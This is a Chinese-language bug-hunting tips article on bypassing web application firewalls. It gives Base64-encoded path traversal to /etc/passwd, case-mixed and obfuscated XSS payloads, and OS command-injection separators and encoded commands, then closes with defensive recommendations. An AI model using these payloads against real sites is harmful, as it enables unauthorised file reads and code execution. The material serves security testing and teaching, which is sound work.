漏洞挖掘 | 分享几个白帽常用漏洞小技巧
字数 922 2025-08-19 12:41:30
白帽常用漏洞挖掘技巧详解
目录
编码绕过技术
Base64编码绕过
攻击场景:尝试访问服务器敏感文件被WAF拦截
原始请求:
url/?f=etc/passwd
- 返回403状态码(禁止访问)
- WAF检测到敏感路径
/etc/passwd并拦截
绕过方法:
-
将
/etc/passwd进行Base64编码- 原始字符串:
/etc/passwd - Base64编码结果:
L2V0Yy9wYXNzd2Q=
- 原始字符串:
-
构造新请求:
url/?f=L2V0Yy9wYXNzd2Q=
- 返回200状态码(成功)
- WAF无法识别编码后的敏感字符串
原理分析:
- WAF通常基于关键词明文检测
- Base64编码改变了字符串表现形式
- 服务器端可能自动解码或存在解码漏洞
Cloudflare WAF绕过技巧
属性名混淆技术
示例Payload:
绕过技巧:
-
大小写混淆:
href→hrEFsrc→sRConerror→oNErrOR- 绕过简单的字符串匹配规则
-
data URI利用:
data:x,构造空的图片数据URI- 确保图片加载失败以触发onerror事件
-
属性分隔技巧:
- 使用非常规属性如
only=1 - 破坏WAF的模式识别
- 使用非常规属性如
其他有效Payload变种
<svg onload=prompt()>
<iframe srcdoc="">
XSS绕过技术
经典绕过方法
-
JavaScript伪协议:
<a href="javascript:alert(1)">click</a> -
事件处理器:
-
SVG标签利用:
<svg onload=alert(1)>
高级绕过技巧
-
编码混淆:
-
字符串拼接:
<script>eval('al'+'ert(1)')</script> -
模板字符串:
<script>alert`1`</script>
OS命令注入案例
基础命令注入
漏洞点:系统调用未过滤用户输入
示例:
url/?cmd=ls -la
绕过技术
-
命令分隔符:
; cat /etc/passwd & whoami | id -
编码绕过:
$(printf "%s" "Y2F0IC9ldGMvcGFzc3dk" | base64 -d) -
环境变量扩展:
${PATH:0:1}tmp${PATH:0:1}test
防御建议
-
输入验证:
- 严格限制允许的字符集
- 使用白名单而非黑名单
-
输出编码:
- 根据上下文(HTML/JS/URL等)进行适当编码
-
安全配置:
- 禁用危险函数(如eval、system等)
- 设置Content Security Policy (CSP)
-
WAF规则:
- 更新规则以检测编码攻击
- 实现多层级检测机制
-
日志监控:
- 记录所有可疑请求
- 设置异常行为警报
通过掌握这些技术,安全研究人员可以更有效地发现和报告漏洞,同时帮助开发人员构建更安全的应用程序。